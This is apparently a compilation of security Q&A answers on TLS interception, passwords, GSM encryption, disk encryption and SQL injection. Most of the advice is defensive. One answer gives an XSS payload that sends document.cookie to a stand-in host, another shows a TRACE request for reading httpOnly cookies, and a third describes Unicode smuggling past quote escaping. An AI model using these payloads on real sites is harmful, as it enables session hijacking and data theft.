SSL Certificate for use with SSL Inspection on Zyxel USG110

Can't be done. Not without you buying a Sub-CA certificate. (Which no self-respecting CA will/should sell to just anybody.)

While there are ways around this, none of them are practical. (And that's a good thing.):
1) You don't care about detection. You just man-in-the-middle everyone, give them an untrusted certificate and hope they will click through the certificate warnings. This is ugly.

2) You don't care about detection too much. You just man-in-the-middle everyone, strip HTTPS and certificates right out (using SSLStrip). Then you won't have to worry about certificates.

3) You care about detection somewhat more and are very, very powerful. You are in a position to have a recognized CA issue an unrestricted sub CA cert for your interception business. This will require the cooperation of said CA. (So this will only be an option if you are a nation-state.) -- Then you will hopefully be found out and named and shamed by Google Chrome. (Which is what happened in 2013: http://googleonlinesecurity.blogspot.ro/2013/12/further-improving-digital-certificate.html )


Passwords/Account Security: How secure is "too secure"?

You need to balance security with usability.

The latest NIST guidelines on passwords say that you should not enforce periodic password changes for the sake of it and you should not impose excessive password complexity rules. The guide suggests they can result in passwords that are actually less secure, you can read a summary here NIST password summary

It does suggest that preventing the most common passwords is best practice and for that my impression is that the top 100,000 should be good enough, I think the top million is excessive. users will become frustrated if they get to the 4000th password attempt when trying to register.

this nice infographic from Intel shows why length is more important than complexityIntel password infographic

Two factor authentication definitely improves security  but be aware of current thinking around using SMS due to insecurities in the SS7 routing protocols and consider alternatives like authenticator apps
ARS Technica 2FA/SS7


Do I need a hardware firewall even if I have Internet security software?

Assuming that the software firewall on your machine is functioning correctly and that's the only device you need to protect, it could be that a hardware firewall isn't needed.

That said the advantage of having it as a separate device is that if your system is infected with malware or the software firewall malfunctions, it is a good defence-in-depth step option to have a completely separate device providing a layer of protection.


How to securely collect email addresses through a third party website

This is asking a lot of questions... I'll try to suggest solutions where I can.

  Hacker subscribes users to sendgrid list unknowingly

The generally-accepted solution to this problem is double opt-in. After the user submits their email, send them an email with a verification link. Your Captcha solution should help reduce validation link spam, but you could also limit the number of emails sent to a given address in a given time period.

  DDOS

This is a pretty vague consideration, and a good answer depends on who you are trying to protect from DDOS. I'm also not very well-versed in DDOS protection schemes, so I'll take a pass on this part.

  Email address exposed because not stored in a secure manner

This again will depend a lot on the specifics of how and where you store the email address. There are essentially two parts to a good solution for this part:

Access Control
Encryption

Access control is the practice of limiting people's ability to retrieve information. For example, the homepage of your website would typically have no access control. But if you have an admin page, that would require a username and password to login to view the page.

A lack of access controls in the default settings for MongoDB has resulted in breaches to thousands of databases that people have inappropriately exposed to the internet.

Given that there are so many forms of access control, it would be difficult to provide guidance on access control without more information. Conceptually, just be sure there is some step, somewhere in the process of retrieving the information that would require some sort of secret key, or passphrase to gain access to the stored information.

Encryption is the next level of defence, requiring an additional key to read the information even if someone physically gained access to the list of emails. Column-level encryption in a database would mean that even if someone gained access to query the database, they would need an additional encryption key to read the address.

This has the side-effect that you typically cannot search over encrypted fields. As a result, only the most sensitive information is typically stored with this type of strong encryption... things like Social Security Numbers.

  Email address exposed because not sent to Sendgrid in secure manner

This is a pretty simple question to answer. Use HTTPS. Assuming it is a server-side application submitting the email address to Sendgrid, do not ignore certificate errors on https requests. That's about all you need to do. Since you're entrusting Sendgrid to hold the email address, you will also need to trust that they are storing them safely, and have properly implemented TLS on their list management API.

For your part, to protect the email addresses that you have stored in a third-party mailing list service... protect your account keys. Don't store API keys in source control. Use a strong password for your user account. Turn on two-factor authentication if available. The easiest way an attacker will get into that mailing list application is not by breaching SendGrid, it's by stealing the keys from you.

  Are there any other security concerns that need to be addressed when collecting email addresses from an unauthenticated page on your site?

See the part above about double opt-in. Confirming that the someone controlling that email address by sending them email, before sending them anything, is about all you need to do when entering an arm's-length relationship with a mailing list subscriber.

If you are doing more than just marketing to them - for example, they are a patient at a medical clinic and you want to share prescription details with them - it is best to force them to create a user account first, and verify their identity by some other means. The kind of private information you need to verify them as an individual person should typically not be sent via email.

  Also is reCaptcha enough to address these concerns of exposing such an API endpoint to the outside world?

What reCaptcha will provide you in the scenario is confirmation that the user is a person, and not an automated script trying to submit a list of stolen email addresses to your service to be spammed. It's enough to keep you from sending out a lot of validation emails through the double opt-in. reCaptcha alone will not protect you from someone submitting other people's emails to your list.

  Are there any other solutions that I should look at or any other security concerns to address for solving the problem:

  Collect email addresses from interested third parties through an unauthenticated page at scale.

One other tool you might find helpful is a system to validate the addresses themselves. Mailgun provides any API for their customers to validate emails on a number of properties, including whether or not the email actually points to a valid domain. Checking this will help your system avoid someone stuffing your validation system with emails that will hard bounce.

If you're sending information of any value, you might also want to avoid sending emails to any of the domains provided by services like Mailinator, since these addresses just go to publicly-accessible mailboxes that are owned by no-one. An email validation API like Mailgun's may help you here too, since someone will have taken the time to curate that ever-changing list.


HTTP TRACE vulnerability discovered - what should I do

The alert box is displayed because your PHP script is using ...

echo $out;

... without escaping $out. The JavaScript is executed on your domain. Whether the PHP script connects to another server, or just writes the unescaped script tag directly, does make no difference.

In order to exploit a TRACE vulnerability, you need to trick the browser to send a TRACE request, for example via JavaScript, Flash, Active X.

The common motivation to exploit TRACE is to read information from the request header that is otherwise unavailable (such as httpOnly cookies and authentication headers):

var request = new ActiveXObject(“Microsoft.XMLHTTP”);
request.open("TRACE", "http://example.com", false);
request.send();
alert(request.responseText);


Are phone calls on a GSM network encrypted?

For the most part[1] they are encrypted, but not sufficiently enough to be considered as safe, tap resistant encryption. GSM uses 64-bit A5/1 encryption that is weak, to say the least. $15 phone, 3 minutes all that’s needed to eavesdrop on GSM call article from ArsTechnica covers it pretty well IMO, if you care to read more about it.

However, it also depends on what you mean by GSM. What I mentioned above is true for what we usually mean as GSM (2G, or second generation protocols). 3G are generally considered slighly safer (for lack of a better word):

  3G networks offer greater security than their 2G predecessors. By
  allowing the UE (User Equipment) to authenticate the network it is
  attaching to, the user can be sure the network is the intended one and
  not an impersonator. 3G networks use the KASUMI block cipher instead
  of the older A5/1 stream cipher. However, a number of serious
  weaknesses in the KASUMI cipher have been identified.

https://en.wikipedia.org/wiki/3G#Security

However:

  Many operators reserve much of their 3G bandwidth for internet
  traffic, while shunting voice and SMS off to the older GSM network.

http://arstechnica.com/gadgets/2010/12/15-phone-3-minutes-all-thats-needed-to-eavesdrop-on-gsm-call/

[1] Unencrypted communication (flag A5/0) is also supported on GSM systems, and this encryption (or lack thereof) might be regulated by laws of different countries differently, or part of the carrier's policy not to use it. Some devices also display notifications to users when their calls will be encrypted and when not, but most probably felt it's hardly worth bothering notifying users, especially considering the strengths of various cypher suits in use with GSM protocols. See my reply to @HSN's comment below for more information.


Do you need to check the entire md5 hash value

Yes, you do.

If you're only comparing the first and last five characters of a hash, you've effectively turned it into a 40-bit hash.  Under these conditions, a collision has a complexity of 2^20, low enough that an attacker can generate one through brute force in a second or less.  A preimage is harder, at 2^40, but dedicated hardware (eg. a GPU array) can generate it in only a few minutes.

It doesn't matter what hash algorithm you're using, either: if you're ignoring the middle of the hash, the difficulty of making the ends match doesn't depend on how long that middle is.


How to secure wireless (Wi-Fi) home network

1) Set a strong password.

Yeah, this may seem common knowledge, but I actually stick with something unique, alphanumeric, and not the default router password.

2) Hope that whoever wants into your network doesn't have something like Aircrack-ng.

Aircrack is a network software suite consisting of a detector, packet sniffer, WPA/WPA-2-PSK and WEP cracker and analysis tool for 802.11 wireless LANs.

I've had friends in college that got good with this software, and you can get access to pretty much anyone's Wi-Fi network. All you need is to sniff the right packets (i.e. the password) and you're good to go.

4) Restart your router & change your password regularly.

Just restarting your router can terminate sessions from un-authorized users, then if you are paranoid, just go into the router and change the password. Doing this every 90 days or so is just healthy, much like your PC or any other device.

5) Limit physical access to your router / APs.

If you have physical access to an AP or router, it can be easier to get into your network. So goes the phrase - if I can touch it, it's mine. Keep it behind a lock and key if you can. I can't tell you how many times I have gone to a Wi-Fi AP and the password (key) is printed on a label on the bottom. (NOTE: you don't need to worry about this if you change the default password.)

6) Change your router's Administrator password.

Once you are in your router (via browser - normally 192.168.0.1) you need to change the default password for admin access. This will keep others on your network out of your router, and can ensure that you remain in control of your network. Keep this password unique from the other password(s) on your network, and change it every once in a while - if you want.

7) Realize that no network (even more so a WLAN) can be secure.

If you are using Wi-Fi, you need to accept the fact that it is far less secure than a wired Ethernet connection, and there is no such thing as a secure network - anywhere.


This is just a lame site doing basic checks (ping, traceroute, whois, geo IP lookup) on some IP you entered in the search form and presents all of that in a scary looking webpage, I definitely wouldn't call that a "security tool", it's more of a toy for script kiddies.

They for some reason assume that you're using a proxy, they can either guess that based on the presence of a Forwarded or X-Forwarded-For header or just because your IP is in some outdated open proxy database - you probably have a dynamic IP and happened to be allocated the IP of someone else who deliberately ran an open proxy or got compromised.

Just forget that horror, here are some (real) tools if you are worried about the security of your computer :

http://icanhazip.com/ - to get the real IP of the host requesting the page (this will be the proxy's IP if you're using one)
http://nmap.org/ - port scanner, run this from a remote host and point it at your IP to scan all open ports on your computer
http://mxtoolbox.com/diagnostic.aspx - open mail relay test, to see if a badly configured mail server is running on your computer and can be abused to send spam
http://www.webmastify.com/resources/proxy/ - open HTTP proxy test, I've not used it myself so I don't know if it's reliable, I prefer to test manually using telnet


Do Veracrypt encrypted volumes have any kind of brute force protection?

Any encryption is vulnerable to brute force attack, for example AES-256 has 2^256 keys, and given enough hardware we can “easily” brute force it. The problem is that there’s not enough silicon on Earth to construct enough processors to do it before the heat death of the universe. The fact that encryption can be bruteforced doesn’t mean that this will happen in a reasonable amount of time, and we can thank probability theory for that;)

The weakest link is almost always not the key of the encryption algorithm, but the password from which the key is derived. Some passwords are more likely than others, and this allows dictionary attacks on passwords.

In this respect the VeraCrypt project does everything by the books: they are using PBKDF2 with strong hash algorithms and high iteration counts (this is somewhat controlled by the user). Using PBKDF2 with random salt prevents the attacker from using pre-made hash tables and forces them to calculate every key attempt specifically for your container. Having high iteration count makes every attempt take a significant time (milliseconds to seconds). Repeated hashing is inherently unparallelizable (single PBKDF2 operation is unparallelizable, the attacker can perform multiple simultaneous guesses of course), so custom hardware wouldn’t help much.

In these conditions the only feasible attack is dictionary-based, bruteforce would take too long. If your password is secure against dictionary attack - you can have high degree of certainty in the security of your data.

Relevant documentation: https://www.veracrypt.fr/en/Header%20Key%20Derivation.html


Method to integrate Touch ID in iOS apps

Authentication keychain access using biometric scan defaults to device pass code as a back up when authentication fails. But one can use LAContext API to directly invoke the biometrics authentication and make actions based on the result.

LAContext *myContext = [[LAContext alloc] init];
NSError *authError = nil;
NSString *myLocalizedReasonString = <#String explaining why app needs authentication#>;

if ([myContext canEvaluatePolicy:LAPolicyDeviceOwnerAuthenticationWithBiometrics error:&authError]) {
    [myContext evaluatePolicy:LAPolicyDeviceOwnerAuthenticationWithBiometrics
                  localizedReason:myLocalizedReasonString
                            reply:^(BOOL success, NSError *error) {
            if (success) {
                // User authenticated successfully, take appropriate action
            } else {
                // User did not authenticate successfully, look at error and take appropriate action
            }
        }];
} else {
    // Could not evaluate policy; look at authError and present an appropriate message to user
}


Username Enumeration in 2018 - How serious is this

As a pentester, I generally call out username enumeration as a very low or informational issue, but this can vary based on the application I'm looking at. Things that factor into how big an issue username enum really is:

Authentication lockout enforced at the IP level. If you can only try a couple passwords before getting locked out, password guessing becomes much less practical, even with a list of valid usernames. Most attackers aren't going to have access to enough IP addresses to bypass an IP address lockout.
Password policy. If you don't enforce strong passwords on your site, username enum can degrade an already poor password hygiene. Having a list of usernames is slightly less useful if they're all using decent passwords.
Is there any value for enumerating users outside of password guessing? Does the username reveal anything about the user? Would this help an attacker guess the name of an administrative account?
One last point to keep in mind - almost every site has username enumeration in the registration flow (you can't sign up for gmail with an existing email, and the site will tell you that). One mitigation for this is the use of captchas, but this is a risk that nearly every site has to live with to some extent.

In your example regarding error messages upon login, I'll always advocate for the safer 'Invalid username/password combo' message. However, I understand that fixing security flaws can be resource intensive, and I'd rather those resources be devoted to more significant problems. If you have the time and resources to fix it, by all means do so. If you have poor password hygiene as it is, maybe prioritize this a little higher than you would otherwise.


From what I have seen, steganography is often disregarded within an academic environment. The main reasons would be the low throughput that can be achieved (in terms of the rate (information bits/total bits sent) and the fact that it is closest to encoding than to encryption and thus it relies too much in security through obscurity.

As such, real world applications that implement steganographic approaches (and in that sense, every kind of file can be taken into account: pictures, audio, metadata and non-printable characters in PDF/office files) are most likely to fall within the realm of proofs of concept than an actual product. Just because something is cool and works, it doesn't mean it's the best way to do it.

On the other hand, I would say a lot of interesting research can be focused into detection. Being an actual non-trivial technique, it can be used for covert channel communication, enabling threats like data theft and undetected communication.


Securing JSON? Is it justifiable to return html code instead of json to prevent copy cat?

This question is the Web 2.0 equivalent to "How do I disable right-click to stop people from stealing my HTML?"

The answer is that if you want people to be able to use your site, (on in this case, your data) you can't.

If your data is really so valuable that people want it badly, put it behind a paywall, charge a subscription to access it, and use a contract to set rules around how it can be used.   If you detect your paying users scraping the data against your terms of service, you can then deal with it civilly via the court system.

However, if the data isn't valuable enough for people to pay to use, then the hard truth is that it's probably not valuable enough to scrape and steal either, in which case, don't worry about it.


Is it safe to be showing my WAN and LAN IPs in my email headers?

Your local IP address is pretty much useless outside of your network. The only time you need to worry about if someone has your internal IP address is if they also have internal access to your network, either physically or via a Virtual Private Network (VPN). It's very hard to initiate a conversation with a device inside a network from outside the network, unless the network is willing to forward the connection (e.g. to a web server). The sole exception, of course, is if you use port forwarding or a demilitarized zone, in which case they don't need your local IP address anyways, since having the WAN IP is sufficient.

Also, you can read bug 417942 where this is discussed. Basically, Thunderbird is doing what email does: identify the path that the email took from start to finish, so it can be traced back/debugged/etc if necessary. It appears that Thunderbird only sends an IP address if there's no host name available, so if you were willing to set up a DNS server in your private network and assign your devices to host names, you could avoid having your internal IP address exposed.

The last comment basically sums up why this behavior is okay:

  ... Read RFC-2821:  "An Internet mail program MUST NOT
  change a Received: line that was previously added to the message header.
  SMTP servers MUST prepend Received lines to messages; they MUST NOT change
  the order of existing lines or insert Received lines in any other location."

  It also specifies what goes into the Received: line.  Read section 4.4 of RFC-2821, and then tell me why we should violate this standard.

  ... The whole point of precise information identifying the host is so that the exact path taken by the message, and when, maybe clearly determined for tracing and diagnostic purposes.

  ... Thunderbird complies to the standard, and this is correct behavior.  I'm closing this bug.

In other words, any client that does not disclose either a host name or IP address is not in line with how the email protocol was designed to work.


After a bufferoverflow does an attacker only have access to calls which are present in the library where the C code was compiled?

It probably helps a little, raising the bar and requiring a more sophisticated attack, but I wouldn't hang my security hat on this.

The better way to think about it is that, in the worst case, they have the ability to add arbitrary code to your program. They can do anything that C code can do, including read/writes to files on your filesystem (ie reading your data or inserting backdoors into other programs) or calling exec() to run other programs. So yes, a buffer overflow can do anything a shell can do.

If you want to be on the safe side, consider a buffer overflow to be game over and instead spend your time and effort on defence in depth around the service that could be vulnerable. For example limiting who can send data to this service by putting it behind an authentication server, firewalls, and deep packet inspection; follow the principle of least privilege to lock down privileges of the user running the service, etc.

TL;DR: good developers should always be double-checking their code to avoid having buffer overflows or null pointer dereferences, meanwhile good sys admins should always assume the devs have been sloppy and wrap the service in an onion of security to minimize the potential damage.


Does non-persistent data ever need to be encrypted?

PCI DSS v3 section 6.5 calls out the need to protect sensitive data even if it is in memory, to help thwart memory scraping attacks.  So if you expect to need PCI compliance, yes, you should protect sensitive data even if it's in memory.

I don't know what technology you are using, but even non-persistent data can stick around for a while.  For example, strings in .NET don't get automatically destroyed when the all of their references are gone.  Strings are stored on the heap and will remain there until the garbage collector removes them.

Encrypting data in ram can be tricky since you now need to protect the encryption key.  A native feature like .NET's Secure String, or a hardware security module can be useful in such situations.

I have seen this finding on penetration tests.


How to share encrypted data between users?

The "social media companies" probably do not encrypt data like that when at rest.  Generally speaking, the only data that is likely to be encrypted at rest is that data which is intended only to be accessed by the user themselves.  (Which is not much for most social media systems.)

Though the companies may use some form of full-disk or database encryption, I would be surprised if they used per-user keys for data that is meant to be shared (even with a small set of users).

If you want to be able to encrypt data from one user, and have another user decrypt it without a shared key, you will need some kind of public key cryptography.  (This is essentially the definition difference between asymmetric and symmetric cryptography.)  There's no need to do OpenPGP if you want to keep the data within your own service, you can use something like NaCL or libsodium to perform your cryptographic operations.


Is the RHEL 7 version of FreeRadius not affected by RHSA-2017:1759 (or similar)?

If you dig into the CVE detail listed for the first CVE on that RHSA, it appears that RHEL 7 is affected but not yet addressed.  Since it is listed as "affected" and not "will not fix", Red Hat will likely release a new RHSA or update the existing one as soon as they have the fix backported for RHEL 7.

Note that there is an RHSA titled "Red Hat Enterprise Linux 7 (freeradius)", but it is older (RHSA 1581 vs. 1759 for the new RHEL 6 RHSA) and addresses a different CVE.  It is, in fact, the one that produced the freeradius-3.0.4-8.el7_3 that you're looking at.


FIPS Compliance with HMACSHA1 vs HMACSHA256 / HMACSHA512

"FIPS compliance" is about more than the algorithm. It is about implementations. Being awarded the "compliant" badge is a long, complex and very expensive process; its conceptual meaning is that there are some strong reasons to believe that the implementation is correct and secure and fulfils a number of security properties. Since we don't really know how to prove that software is correct in all generality, most of FIPS compliance is done through audits and analysis of development process. This is rather thorough; this includes, for instance, making sure that during development, source code versioning was used, with proper attribution of each line of code to a properly identified developer, for whom some background checks were performed.

In practice, getting compliance implies producing a lot of paperwork (many thousands of pages) and even more auditing, for a cost that easily goes to $50000 or more, and takes up months. Costs grow up quickly with the scope. Apparently, in 2007 (from your link), Microsoft went through the whole ordeal for HMAC/SHA-1 but not for HMAC/SHA-256 or HMAC/SHA-512, which is why the former is "FIPS validated" but not the latter.

This may be related to the fact that back in that time, .NET could use the SHA-1 implementation from the Win32 layer (CryptoAPI), in native code, while SHA-256 and SHA-512 were "managed" code; doing FIPS compliance for HMAC/SHA-256 with the managed implementation (SHA256Managed) would have thrown the CLR runtime, including the JIT compiler, within the scope of the auditing, and price would have probably skyrocketed. A native implementation of SHA-256 was added in .NET 3.5 (SHA256Cng) but it was released only at the end of 2007, too late for the compliance shown in the list you link to.


E-Mail made in Germany. Better than traditional ones like Google or Yahoo?

The point to "Made in Germany" isn't about security, but about compliance to German privacy laws, which are unique.

It does not make those services more secure, but simply compliant to a specific set of privacy regulations.


Credit card form : Is it neccessary to obscure error messages?

Isn't this behavior susceptible to OAT-010 Card Cracking by exhibiting CWE-204: Observable Response Discrepancy?

Yes, it would be, if you expose the detailed error messages to the end user.

Why aren't the error messages obscured like login failures? According to OWASP, an application should respond to authentication failure in a generic manner.

The application (you) may need to know the error; the end user does not, which is why the application (you) should respond to the user in a generic manner, despite having been given more detail by the processor.
The card processor is giving you details, in case they're necessary.  You are not the end user, you're a trusted partner.  You may need those details to debug individual problems.

Should I implement a custom error message obscuring the details e.g.
"Invalid expiry date or CVC?"

Yes, you should absolutely return (to the end user) a generic error that doesn't indicate which field was incorrect.  And you were right to be concerned about this.


How do vulnerability scanners detect when DEBUG is set to True on ASP.NET applications

Setting the debug attribute will not result in a different error page.  Custom error pages are handled in the web.config in the configuration/system.web/customErrors node.  Some info.

One possibility is that the scanner is detecting this by looking at the Cache-Control http header.  This header will return private when you are in debug mode and public when you are not.  There is a good article that goes into some of this which can be found here.

A more likely possibility is that they are making a DEBUG request to the site and checking to see wether it is returning 200 or 403.  There is a good SO post on this here.

While having the debug attribute set to true can cause performance problems, it's not the only thing that can cause performance problems, so it seems like using this method would generate a lot of false positives.


How many authentication factors are there?

“Somewhere you are” seems to be a very reasonable authentication factor in 2012.  A few weeks ago my Android’s Google Maps app prompted me to turn on my Wi-Fi to better locate me.  My GPS was on and had a good location but Google was going the extra mile (or better stated – extra meters) by triangulating local Wi-Fi signals (Street View collected that for a reason).

So if Google wants to authenticate me based on my location compared to my typical routine they probably will have a valid factor for 90% of my trekking around this planet.

My gasoline pump asks for my Zip Code to process my credit card.  My Zip Code is the same as that of the querying pump so it seems potential exists in that use case too.  I know that typically the Zip Code question is "Something you know" but think about the actual location and likelihood it is me especially considering we are collocated in the same Zip Code and I have been there many times before.

Other factors will probably similarly be added with the changes in technology and virtual presence.  “Something you do” might be one for example.  My typing rhythm and keyboarding differs from many (e.g. lots of backspaces).

I am sure there will be some opportunities for factors in 10 years that we cannot conceive of today just as my Google Maps Android tracking was unconceivable to me 10 years ago.


If you SMS text someone, how much more information will they know about you?

If you publish you mobile number in a directory such as Spokeo they can look you up

If you use Telegram, the other person will be able to see your public name. Your last seen online time could be retrieved either precisely or imprecisely depending on your privacy settings - this information cannot be hidden completely. Telegram will always tell anyone whether you're currently online (using the app) or not. You can make your profile photo visible only for your contacts.

If you use WhatsApp you can hide your last seen info and profile photo completely from everyone. Your public name can also be seen by anyone regardless.

It's trivial to find out what your cellular operator is and in many cases it's not difficult to pinpoint the location where the SIM card was sold to you.


A paper from 2011 by four people from the University of California, San Diego writes in section "3.2.1 Built-in sanitize commands":

  Of the 12 drives we tested, [...] Eight of the
  drives reported that they supported the ATA SECURITY
  feature set. One of these encrypts data, so we could not
  verify if the sanitization was successful. Of the remaining seven, only four executed the “ERASE UNIT” command reliably.

So in 2010/2011, out of 12 commercially available SSDs models 8 advertised that they support ATA Secure Erase, and either 4 or 5 models performed a secure erase. The rest didn't, to varying degrees:

  Drive B’s behavior is the most disturbing: it reported
  that sanitization was successful, but all the data remained
  intact. In fact, the ﬁlesystem was still mountable. Two
  more drives suffered a bug that prevented the ERASE
  UNIT command from working unless the drive ﬁrmware
  was recently reset, otherwise the command would only
  erase the ﬁrst LBA. However, they accurately reported
  that the command failed.
  The wide variance among the drives leads us to conclude that each implementation of the security commands must be individually tested before it can be trusted
  to properly sanitize the drive

It would be nice to have more recent data, because SSD designs have changed a good deal since 2011. Sadly I haven't found anything newer.


How can LastPass enforce 2-factor authentication

How can they enforce that?

The browser plugin will not store the data permanently on your local machine if Permit Offline Access is set to Disallow. It is only available while your internet connection is active and your session with LastPass is current.

  If they somehow encrypt my password db with a key returned by the google authentication procedure then how can they allow offline access in the first place? And if they don't encrypt it with something from google then how can they prevent offline access?

They don't encrypt the password DB with the 2 factor authentication key - only with your master password (or rather a key derived from it). The 2FA key only determines whether their server allows you access to the password DB and is not used in decryption.

There's a little bit of further information here.


The same as any other database using SQL, use the following (taken from the OWASP cheat sheet)

Option #1: Use of Prepared Statements (Parameterized Queries)
Option #2: Use of Stored Procedures
Option #3: Escaping all User Supplied Input
Also Enforce: Least Privilege
Also Perform: White List Input Validation


Potential issues with a HTTPS to HTTP conversion

The issue that they're referring to is sensitive cookie exposure, in particular, cookies that contain an authentication or session token.  In this case specifically, you should never force an authenticated user to HTTP, and allow them to remain authenticated.  This used to be a common practice, even among very large web properties until a tool called Firesheep demonstrated how catastrophically unsafe it was.

So, if you use authentication or session cookies to identify specific users, or cookies that contain any sensitive data, those cookies should be marked with the "secure" flag, which will prevent them from being sent alongside HTTP requests, and limit them to HTTPS requests only.

Generally speaking though, in this day in age, there aren't many good reasons to do this in any case.  I'd think long and hard about forcing HTTPS to HTTP, and prefer protecting everything with HTTPS whenever possible.


Still not sure why this is failing but I was able to find that if I added a CSP heading to the site set to allow everything and then set a meta tag to disallow what I wanted to disallow that worked.


Extracting EC parameters to specified format

You can do this using OpenSSL:

$> openssl ec -in /tmp/blih -pubout | openssl ec -text -pubin

read EC key
writing EC key
read EC key
Private-Key: (256 bit)
pub:
    04:b0:36:49:b9:76:9a:1b:fd:72:1a:cf:22:d9:eb:
    29:e8:b4:fe:0b:fc:93:e6:35:9e:cd:c4:a0:15:00:
    27:49:af:40:8c:94:6c:50:58:da:e9:9b:88:61:83:
    34:d0:21:6d:03:b6:18:43:41:65:50:d4:db:d0:bb:
    75:8c:cf:fb:6f
Field Type: prime-field
Prime:
    00:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:
    ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:fe:ff:
    ff:fc:2f
A:    0
B:    7 (0x7)
Generator (uncompressed):
    04:79:be:66:7e:f9:dc:bb:ac:55:a0:62:95:ce:87:
    0b:07:02:9b:fc:db:2d:ce:28:d9:59:f2:81:5b:16:
    f8:17:98:48:3a:da:77:26:a3:c4:65:5d:a4:fb:fc:
    0e:11:08:a8:fd:17:b4:48:a6:85:54:19:9c:47:d0:
    8f:fb:10:d4:b8
Order:
    00:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:
    ff:fe:ba:ae:dc:e6:af:48:a0:3b:bf:d2:5e:8c:d0:
    36:41:41
Cofactor:  1 (0x1)
writing EC key
-----BEGIN PUBLIC KEY-----
MIH1MIGuBgcqhkjOPQIBMIGiAgEBMCwGByqGSM49AQECIQD/////////////////
///////////////////+///8LzAGBAEABAEHBEEEeb5mfvncu6xVoGKVzocLBwKb
/NstzijZWfKBWxb4F5hIOtp3JqPEZV2k+/wOEQio/Re0SKaFVBmcR9CP+xDUuAIh
AP////////////////////66rtzmr0igO7/SXozQNkFBAgEBA0IABLA2Sbl2mhv9
chrPItnrKei0/gv8k+Y1ns3EoBUAJ0mvQIyUbFBY2umbiGGDNNAhbQO2GENBZVDU
29C7dYzP+28=
-----END PUBLIC KEY-----

I believe Order is the Q parameter of the curve.

Also Keep in mind that you might not have the same output because the public key might not include the EC parameters, if not it is said "implicit parameters" because the recipient knows what curve and parameters to use. In this case you are out of luck if you don't know what curve it is.

If you know the curve you can extract the parameters using OpenSSL again:

$> openssl ecparam -name secp256k1 -param_enc explicit -text

Field Type: prime-field
Prime:
    00:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:
    ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:fe:ff:
    ff:fc:2f
A:    0
B:    7 (0x7)
Generator (uncompressed):
    04:79:be:66:7e:f9:dc:bb:ac:55:a0:62:95:ce:87:
    0b:07:02:9b:fc:db:2d:ce:28:d9:59:f2:81:5b:16:
    f8:17:98:48:3a:da:77:26:a3:c4:65:5d:a4:fb:fc:
    0e:11:08:a8:fd:17:b4:48:a6:85:54:19:9c:47:d0:
    8f:fb:10:d4:b8
Order:
    00:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:
    ff:fe:ba:ae:dc:e6:af:48:a0:3b:bf:d2:5e:8c:d0:
    36:41:41
Cofactor:  1 (0x1)
-----BEGIN EC PARAMETERS-----
MIGiAgEBMCwGByqGSM49AQECIQD////////////////////////////////////+
///8LzAGBAEABAEHBEEEeb5mfvncu6xVoGKVzocLBwKb/NstzijZWfKBWxb4F5hI
Otp3JqPEZV2k+/wOEQio/Re0SKaFVBmcR9CP+xDUuAIhAP//////////////////
//66rtzmr0igO7/SXozQNkFBAgEB
-----END EC PARAMETERS-----

Note the -param_enc explicit flag.


Erasing encryption (LUKS) keys before suspend-to-RAM?

The solution is called "Hibernate" or suspend to disk.

By design, suspend to RAM wakes instantly, and is intended more as a power-saving mode than a version of "switched off".

Software can get notifications that suspend-to-ram is about to occur, and things like Password Safe programs should - and typically do - automatically clear their keys. You could readily alter e.g. SSH clients to do the same, if they don't already.

However disk encryption programmes cannot necessarily do this, as files open on those disks may need to be accessed as part of the resume process.


Does it matter which platform a file is scanned on for malware?

Your question potentially applies to many different situations so it is difficult to answer it definitively. Ideally, you should make your question more specific.

As a general rule, file scan signatures target whatever the deployed package is. So, it does not matter whether it is an RPM or EXE or what. Whatever form the malware is deployed in, will be targeted for the scan.


Is there a full-disk-encryption OR file-encryption solution where a trojan can NOT extract the secret key (e.g. from RAM)?

It is possible to have an encryption scheme where all the cryptographic routine run on a smartcard. The smartcard contains the encryption and decryption key and the cryptographic operations are run on the smart card, rather than the main OS.

All that the main OS are able to do is send commands to the smartcard and receive encrypted or decrypted data, but it never hold the keys itself. This is rarely used in practice for full disk encryption because of poor performance (all data to be read/written must pass through the smartcard interface twice). For file encryption, many OpenPGP smartcard have this functionality.

The reason this is rarely used is because it's of limited advantage. If an attacker gains full administrative access to the system, the attacker can still encrypt or decrypt anything, even without knowing the private key. In most cases, it's the data that you want to protect, not the key itself; so an attacker being able to encrypt/decrypt arbitrary data is just as bad as leakage of the keys.


using reflected xss to get the cookie from a test user

You are getting that error because of the same origin policy (SOP). The default policy does not allow you to view data from other domains. However, writes are typically allowed, but since you are specifying custom headers, the browser will likely block it altogether after making a preflight request.

The easiest way would be to drop those custom headers, send it as normal form data instead of JSON, and the request should go through. You will still see the error on the client, since it cannot read the response, but it should've worked and will have been received by the server.

You could even simplify your payload. It could be as simple as:

<script>document.location = "https://yoursite.example/?cookies=" + document.cookie;</script>

Of course, that's a little more intrusive to the user, but there are similar ways that could give a better user experience.

Side note, you don't need the "Access control allow origin" headers on the client; that is a server-side header.


Could've previous owner installed tracking software on my phone, even if I changed the SIM card?

I recently bought a used mobile Android phone. Is there any way to install malware, tracking software etc. that is not on the SIM card, but on some other kind of memory disc?

Yes.  When you buy a phone, you're trusting that the phone doesn't have malicious software installed on it.  Even the factory reset could potentially be compromised if the phone itself has been rooted and the OS replaced with a malicious version that doesn't perform a full reset.
In practice, it's unlikely that a phone you buy used has a malicious OS installed, so a factory reset is (likely) going to be sufficient to clear out any tracking software installed by a previous owner.
Of course, your paranoia may vary :).


Can 4 single quotes still be escaped producing a sql injection on sql server?

the code is so old that they claim they can't use parameters to communicate with ms SQL server

That's a lousy excuse. It's like saying "your car is so old, we can't build in seatbelts". They might have to redo a lot of work with more modern techniques, but it can be done.

The fix they applied is escaping, which is a correct solution (second best to parameterised queries). To escape an apostrophe (or 'single quote') in MSSQL, you can prefix it with another apostrophe. Why did the developers add two more? The only explanation I can think of, is that the output is interpreted as SQL again, but honestly I don't know and it should create bugs if nothing else.

As for how to break out of it, that part of your question seems to be a duplicate of this one (though yours is specific for MSSQL):

How to defeat doubling up apostrophes to create SQLi attack?

The answer is basically:

  [...] you may be able to force various SQL databases to translate unicode to the local charset. For example, Ā could be converted to A. Even worse: U+02BC, or ʼ would be translated as ', which is U+0027. This is called Unicode-based Smuggling.


